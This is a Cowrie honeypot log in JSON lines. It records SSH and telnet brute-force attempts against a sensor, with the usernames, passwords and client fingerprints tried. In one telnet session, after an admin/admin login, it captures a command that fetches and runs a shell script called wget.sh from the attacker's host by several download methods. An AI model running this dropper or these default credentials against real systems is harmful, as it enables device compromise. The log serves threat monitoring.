{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:15.341499Z","src_ip":"40.83.182.122","session":"8f5f67c0d759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"khongbiet","message":"login attempt [ubuntu/khongbiet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:15.685591Z","src_ip":"40.83.182.122","session":"8f5f67c0d759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:16.766689Z","src_ip":"40.83.182.122","session":"8f5f67c0d759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aafd93e321b","protocol":"ssh","message":"New connection: 89.108.118.91:59130 (159.203.135.109:22) [session: 4aafd93e321b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:25.511502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:25.521860Z","src_ip":"89.108.118.91","session":"4aafd93e321b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:25.656658Z","src_ip":"89.108.118.91","session":"4aafd93e321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1412ua","message":"login attempt [root/andrey1412ua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:26.059640Z","src_ip":"89.108.118.91","session":"4aafd93e321b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:27.196543Z","src_ip":"89.108.118.91","session":"4aafd93e321b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":58288,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb8ad496810","protocol":"ssh","message":"New connection: 31.41.152.180:58288 (159.203.135.109:22) [session: 9fb8ad496810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:28.465834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:28.470650Z","src_ip":"31.41.152.180","session":"9fb8ad496810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:28.582783Z","src_ip":"31.41.152.180","session":"9fb8ad496810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1q2w3e4r","message":"login attempt [ftpuser/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:29.061413Z","src_ip":"31.41.152.180","session":"9fb8ad496810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:30.177387Z","src_ip":"31.41.152.180","session":"9fb8ad496810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47842,"dst_ip":"159.203.135.109","dst_port":22,"session":"61429a3273d3","protocol":"ssh","message":"New connection: 89.223.69.22:47842 (159.203.135.109:22) [session: 61429a3273d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:54.173970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:54.179599Z","src_ip":"89.223.69.22","session":"61429a3273d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:54.293485Z","src_ip":"89.223.69.22","session":"61429a3273d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasya123","message":"login attempt [root/vasya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:54.635205Z","src_ip":"89.223.69.22","session":"61429a3273d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:55.753041Z","src_ip":"89.223.69.22","session":"61429a3273d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d5c52f1dba","protocol":"ssh","message":"New connection: 82.197.58.130:41770 (159.203.135.109:22) [session: 84d5c52f1dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:00.081125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:00.092257Z","src_ip":"82.197.58.130","session":"84d5c52f1dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:00.248244Z","src_ip":"82.197.58.130","session":"84d5c52f1dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theo","password":"theo","message":"login attempt [theo/theo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:00.907015Z","src_ip":"82.197.58.130","session":"84d5c52f1dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:02.067445Z","src_ip":"82.197.58.130","session":"84d5c52f1dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":55448,"dst_ip":"159.203.135.109","dst_port":22,"session":"de33c14ee1b9","protocol":"ssh","message":"New connection: 191.101.59.86:55448 (159.203.135.109:22) [session: de33c14ee1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:35.382522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:35.479056Z","src_ip":"191.101.59.86","session":"de33c14ee1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:35.582163Z","src_ip":"191.101.59.86","session":"de33c14ee1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":34290,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e33d1aa5078","protocol":"telnet","message":"New connection: 103.77.246.174:34290 (159.203.135.109:23) [session: 4e33d1aa5078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:35.875158Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"effdddbc70be","protocol":"telnet","message":"New connection: 103.77.246.174:34300 (159.203.135.109:23) [session: effdddbc70be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.137655Z"}
{"eventid":"cowrie.session.closed","duration":0.03655505180358887,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.174068Z","src_ip":"103.77.246.174","session":"effdddbc70be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.384205Z","src_ip":"191.101.59.86","session":"de33c14ee1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":34314,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d1d9ead57a","protocol":"telnet","message":"New connection: 103.77.246.174:34314 (159.203.135.109:23) [session: 26d1d9ead57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.389881Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.706407Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:36.758298Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:37.583219Z","src_ip":"191.101.59.86","session":"de33c14ee1b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:38.209412Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:38.317150Z","src_ip":"103.77.246.174","session":"26d1d9ead57a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.77.246.174/wget.sh; curl -O http://103.77.246.174/wget.sh; chmod 777 wget.sh; sh wget.sh; tftp 103.77.246.174 -c get wget.sh; chmod 777 wget.sh; sh wget.sh; tftp -r wget.sh -g 103.77.246.174; chmod 777 wget.sh; sh wget.sh; ftpget -v -u anonymous -p anonymous -P 21 103.77.246.174 wget.sh wget.sh; sh wget.sh; rm -rf wget.sh*","message":"CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.77.246.174/wget.sh; curl -O http://103.77.246.174/wget.sh; chmod 777 wget.sh; sh wget.sh; tftp 103.77.246.174 -c get wget.sh; chmod 777 wget.sh; sh wget.sh; tftp -r wget.sh -g 103.77.246.174; chmod 777 wget.sh; sh wget.sh; ftpget -v -u anonymous -p anonymous -P 21 103.77.246.174 wget.sh wget.sh; sh wget.sh; rm -rf wget.sh*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:38.618956Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://103.77.246.174/wget.sh","outfile":"var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","shasum":"0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:39.089942Z","message":"Downloaded URL (http://103.77.246.174/wget.sh) with SHA-256 0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351 to var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://103.77.246.174/wget.sh","outfile":"var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","shasum":"0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:39.323879Z","message":"Downloaded URL (http://103.77.246.174/wget.sh) with SHA-256 0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351 to var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0421290397644043,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:39.431912Z","src_ip":"103.77.246.174","session":"26d1d9ead57a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":34374,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c64639c64a6","protocol":"telnet","message":"New connection: 103.77.246.174:34374 (159.203.135.109:23) [session: 4c64639c64a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:39.657842Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:41.392766Z","src_ip":"103.77.246.174","session":"4c64639c64a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7319271564483643,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:42.389646Z","src_ip":"103.77.246.174","session":"4c64639c64a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":34488,"dst_ip":"159.203.135.109","dst_port":23,"session":"82f77a6df6b8","protocol":"telnet","message":"New connection: 103.77.246.174:34488 (159.203.135.109:23) [session: 82f77a6df6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:42.613903Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:43.466401Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:43.516469Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:44.489797Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:44.982136Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:45.933812Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:47.520062Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:47.524316Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
